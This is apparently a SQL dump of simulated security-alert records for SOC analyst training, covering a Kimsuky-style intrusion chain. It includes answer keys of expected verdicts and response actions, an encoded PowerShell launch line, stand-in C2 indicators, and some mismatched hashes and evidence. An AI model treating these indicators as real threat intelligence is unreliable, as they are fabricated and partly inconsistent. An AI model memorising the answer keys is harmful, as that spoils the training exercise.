(1485, 'Data Aggregation for Exfiltration', 'high', 'File Access Logs', 'The attackers aggregate sensitive documents and communications, focusing on information pertaining to North Korea, in preparation for data exfiltration.', 'Exfiltration Preparation', 'T1020', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:37:45Z\",\"event_id\":\"4356\",\"source_ip\":\"192.168.1.45\",\"destination_ip\":\"203.0.113.5\",\"username\":\"jdoe\",\"filename\":\"NK_sensitive_docs.zip\",\"file_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"action\":\"read\",\"status\":\"success\"}', '2026-03-15 19:07:25', '2026-03-15 20:58:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address used by the attacker to access sensitive files.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"osint\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP address associated with exfiltration activities.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"NK_sensitive_docs.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"osint\",\"verdict\":\"suspicious\",\"details\":\"Sensitive file aggregated for exfiltration.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"osint\",\"verdict\":\"suspicious\",\"details\":\"File hash associated with exfiltration attempts.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Compromised user account used for unauthorized access.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:14.937Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:37:45Z\\\",\\\"event_id\\\":\\\"4356\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"NK_sensitive_docs.zip\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"action\\\":\\\"read\\\",\\\"status\\\":\\\"success\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:14.937Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:37:45Z\\\",\\\"event_id\\\":\\\"4356\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"NK_sensitive_docs.zip\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"action\\\":\\\"read\\\",\\\"status\\\":\\\"success\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:14.937Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:37:45Z\\\",\\\"event_id\\\":\\\"4356\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"NK_sensitive_docs.zip\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"action\\\":\\\"read\\\",\\\"status\\\":\\\"success\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:14.937Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:37:45Z\\\",\\\"event_id\\\":\\\"4356\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"NK_sensitive_docs.zip\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"action\\\":\\\"read\\\",\\\"status\\\":\\\"success\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:14.937Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:37:45Z\\\",\\\"event_id\\\":\\\"4356\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"NK_sensitive_docs.zip\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"action\\\":\\\"read\\\",\\\"status\\\":\\\"success\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1486, 'Encrypted Data Exfiltration via C2 Channels', 'critical', 'Command and Control Traffic Logs', 'Anomalous encrypted data exfiltration detected via established C2 channels attributed to the Kimsuky group. The data exfiltration was observed from a compromised internal host to a known malicious external IP. The data was encrypted to avoid detection by network monitoring tools.', 'Exfiltration', 'T1041: Exfiltration Over C2 Channel', 1, 'new', NULL, '{\"timestamp\":\"2023-10-03T14:22:17Z\",\"source_ip\":\"192.168.10.15\",\"destination_ip\":\"185.22.57.200\",\"data_transferred\":\"3.5MB\",\"protocol\":\"HTTPS\",\"encryption\":\"AES-256\",\"malware_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"malware_filename\":\"data_exfil_tool.exe\",\"user\":\"jdoe\",\"c2_domain\":\"malicious-c2.example.com\"}', '2026-03-15 19:07:25', '2026-03-15 20:58:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.10.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal IP\",\"verdict\":\"internal\",\"details\":\"Internal host suspected in data exfiltration.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"185.22.57.200\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with Kimsuky C2 infrastructure.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to a known data exfiltration tool used by Kimsuky.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"data_exfil_tool.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"File Analysis\",\"verdict\":\"suspicious\",\"details\":\"Executable used for data exfiltration.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"User Directory\",\"verdict\":\"clean\",\"details\":\"User account involved in the incident.\"}},{\"id\":\"artifact_6\",\"type\":\"domain\",\"value\":\"malicious-c2.example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Domain Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Domain used for C2 communications by Kimsuky.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:14.954Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-03T14:22:17Z\\\",\\\"source_ip\\\":\\\"192.168.10.15\\\",\\\"destination_ip\\\":\\\"185.22.57.200\\\",\\\"data_transferred\\\":\\\"3.5MB\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"encryption\\\":\\\"AES-256\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"malware_filename\\\":\\\"data_exfil_tool.exe\\\",\\\"user\\\":\\\"jdoe\\\",\\\"c2_domain\\\":\\\"malicious-c2.example.com\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:14.954Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-03T14:22:17Z\\\",\\\"source_ip\\\":\\\"192.168.10.15\\\",\\\"destination_ip\\\":\\\"185.22.57.200\\\",\\\"data_transferred\\\":\\\"3.5MB\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"encryption\\\":\\\"AES-256\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"malware_filename\\\":\\\"data_exfil_tool.exe\\\",\\\"user\\\":\\\"jdoe\\\",\\\"c2_domain\\\":\\\"malicious-c2.example.com\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:14.954Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-03T14:22:17Z\\\",\\\"source_ip\\\":\\\"192.168.10.15\\\",\\\"destination_ip\\\":\\\"185.22.57.200\\\",\\\"data_transferred\\\":\\\"3.5MB\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"encryption\\\":\\\"AES-256\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"malware_filename\\\":\\\"data_exfil_tool.exe\\\",\\\"user\\\":\\\"jdoe\\\",\\\"c2_domain\\\":\\\"malicious-c2.example.com\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:14.954Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-03T14:22:17Z\\\",\\\"source_ip\\\":\\\"192.168.10.15\\\",\\\"destination_ip\\\":\\\"185.22.57.200\\\",\\\"data_transferred\\\":\\\"3.5MB\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"encryption\\\":\\\"AES-256\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"malware_filename\\\":\\\"data_exfil_tool.exe\\\",\\\"user\\\":\\\"jdoe\\\",\\\"c2_domain\\\":\\\"malicious-c2.example.com\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:14.954Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-03T14:22:17Z\\\",\\\"source_ip\\\":\\\"192.168.10.15\\\",\\\"destination_ip\\\":\\\"185.22.57.200\\\",\\\"data_transferred\\\":\\\"3.5MB\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"encryption\\\":\\\"AES-256\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"malware_filename\\\":\\\"data_exfil_tool.exe\\\",\\\"user\\\":\\\"jdoe\\\",\\\"c2_domain\\\":\\\"malicious-c2.example.com\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1487, 'Suspicious Interview Request', 'medium', 'Email Gateway', 'A phishing email was detected targeting journalists with a fake interview request. The email attempts to entice the recipient into opening a malicious attachment or engaging with a harmful link.', 'Phishing', 'T1566.001 - Spearphishing Attachment', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T08:30:00Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.15\",\"email_subject\":\"Interview Request: Insights on Recent Developments\",\"email_from\":\"editor@globalnews-expert.com\",\"email_to\":\"journalist@company.com\",\"attachment_name\":\"Interview_Questions.docx\",\"attachment_sha256\":\"b1946ac92492d2347c6235b4d2611184\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0\"}', '2026-03-15 19:07:40', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with phishing campaigns related to Kimsuky group.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal workstation IP.\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"editor@globalnews-expert.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Email Reputation Service\",\"verdict\":\"suspicious\",\"details\":\"Domain known for impersonation in phishing attacks.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"SHA256 hash associated with malware-laden documents.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'novice', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Suspicious Interview Request\",\"date\":\"2026-03-15T20:58:15.036Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1488, 'Malicious Document Execution', 'high', 'Endpoint Detection and Response (EDR)', 'Upon opening the interview document, hidden macros execute to deploy malware, setting the stage for further compromise.', 'Malware Deployment', 'T1203', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:04Z\",\"event_id\":\"EDR-456789\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.0.25\",\"filename\":\"Interview_Schedule.docm\",\"hash\":\"e99a18c428cb38d5f260853678922e03\",\"user\":\"jdoe\",\"process\":\"WINWORD.EXE\",\"action\":\"macro_execution\",\"alert_id\":\"malware-001\",\"severity\":\"high\"}', '2026-03-15 19:07:40', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known command and control server\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host potentially compromised\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware family\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"Interview_Schedule.docm\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Detection\",\"verdict\":\"suspicious\",\"details\":\"Document contains macros\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'novice', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1489, 'Persistence via Scheduled Task', 'medium', 'System Logs', 'The malware configures a scheduled task to maintain access, preparing for prolonged data collection operations. A scheduled task named \'Updater\' was created to execute malicious payload from \'C:\\Windows\\System32\\updater.exe\'.', 'Persistence Mechanism', 'T1053.005', 1, 'new', NULL, '{\"event_id\":4698,\"task_name\":\"Updater\",\"task_action\":\"C:\\\\Windows\\\\System32\\\\updater.exe\",\"trigger_time\":\"2023-10-12T02:00:00Z\",\"user\":\"SYSTEM\",\"source_ip\":\"10.1.1.5\",\"malware_hash\":\"a9f3b4c8d1e2f4b6a7d9f8c5e2a1b3d5\",\"attacker_ip\":\"203.0.113.45\"}', '2026-03-15 19:07:40', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.1.1.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address indicating a compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP address involved in previous cyber-attacks.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"a9f3b4c8d1e2f4b6a7d9f8c5e2a1b3d5\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware variants.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'novice', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.051Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_id\\\":4698,\\\"task_name\\\":\\\"Updater\\\",\\\"task_action\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\updater.exe\\\",\\\"trigger_time\\\":\\\"2023-10-12T02:00:00Z\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"source_ip\\\":\\\"10.1.1.5\\\",\\\"malware_hash\\\":\\\"a9f3b4c8d1e2f4b6a7d9f8c5e2a1b3d5\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.051Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_id\\\":4698,\\\"task_name\\\":\\\"Updater\\\",\\\"task_action\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\updater.exe\\\",\\\"trigger_time\\\":\\\"2023-10-12T02:00:00Z\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"source_ip\\\":\\\"10.1.1.5\\\",\\\"malware_hash\\\":\\\"a9f3b4c8d1e2f4b6a7d9f8c5e2a1b3d5\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.051Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_id\\\":4698,\\\"task_name\\\":\\\"Updater\\\",\\\"task_action\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\updater.exe\\\",\\\"trigger_time\\\":\\\"2023-10-12T02:00:00Z\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"source_ip\\\":\\\"10.1.1.5\\\",\\\"malware_hash\\\":\\\"a9f3b4c8d1e2f4b6a7d9f8c5e2a1b3d5\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.051Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_id\\\":4698,\\\"task_name\\\":\\\"Updater\\\",\\\"task_action\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\updater.exe\\\",\\\"trigger_time\\\":\\\"2023-10-12T02:00:00Z\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"source_ip\\\":\\\"10.1.1.5\\\",\\\"malware_hash\\\":\\\"a9f3b4c8d1e2f4b6a7d9f8c5e2a1b3d5\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.051Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_id\\\":4698,\\\"task_name\\\":\\\"Updater\\\",\\\"task_action\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\updater.exe\\\",\\\"trigger_time\\\":\\\"2023-10-12T02:00:00Z\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"source_ip\\\":\\\"10.1.1.5\\\",\\\"malware_hash\\\":\\\"a9f3b4c8d1e2f4b6a7d9f8c5e2a1b3d5\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1490, 'Lateral Movement Through Shared Drives', 'high', 'Network Traffic Analysis', 'Kimsuky leveraged compromised credentials to move laterally within the network, targeting shared drives to access sensitive data. The operation utilized suspicious network activity originating from an external IP address, accessing multiple shared drives on the 192.168.x.x network.', 'Lateral Movement', 'T1021.002', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:22:35Z\",\"source_ip\":\"203.0.113.25\",\"destination_ip\":\"192.168.1.101\",\"user\":\"jdoe\",\"action\":\"access\",\"resource\":\"shared_drive_financials\",\"filename\":\"Q3_Financial_Report.xlsx\",\"hash\":\"5d41402abc4b2a76b9719d911017c592\",\"event\":\"file_access\",\"protocol\":\"SMB\",\"external_ip\":\"203.0.113.25\"}', '2026-03-15 19:07:40', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT activity.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.101\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal network asset.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"suspicious\",\"details\":\"User credentials potentially compromised.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"File hash not associated with known malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"]}', 'novice', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1491, 'Email Data Exfiltration via Chrome Extension', 'high', 'Browser Extension Analysis', 'A malicious Chrome extension named \'EmailHelper\' was detected exfiltrating sensitive email communications to an external server. The extension was installed by user \'jdoe\' and was transferring data to IP address 185.199.108.153. The file \'extension_data.bin\' was extracted and found to contain email content. The SHA256 hash of the extension matches known malicious signatures.', 'Data Exfiltration', 'T1567.002', 1, 'new', NULL, '{\"timestamp\":\"2023-10-11T14:23:45Z\",\"user\":\"jdoe\",\"extension_name\":\"EmailHelper\",\"internal_ip\":\"192.168.1.45\",\"external_ip\":\"185.199.108.153\",\"file_exfiltrated\":\"extension_data.bin\",\"sha256\":\"3f786850e387550fdab836ed7e6dc881de23001b\",\"action\":\"data_exfiltration\",\"protocol\":\"HTTPS\",\"destination_server\":\"maliciousserver.com\"}', '2026-03-15 19:07:40', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.199.108.153\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intel Database\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple exfiltration campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"3f786850e387550fdab836ed7e6dc881de23001b\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malware used in email exfiltration\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"extension_data.bin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"File contains sensitive email data\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal HR Database\",\"verdict\":\"internal\",\"details\":\"Employee with access to sensitive communications\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'novice', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.063Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event 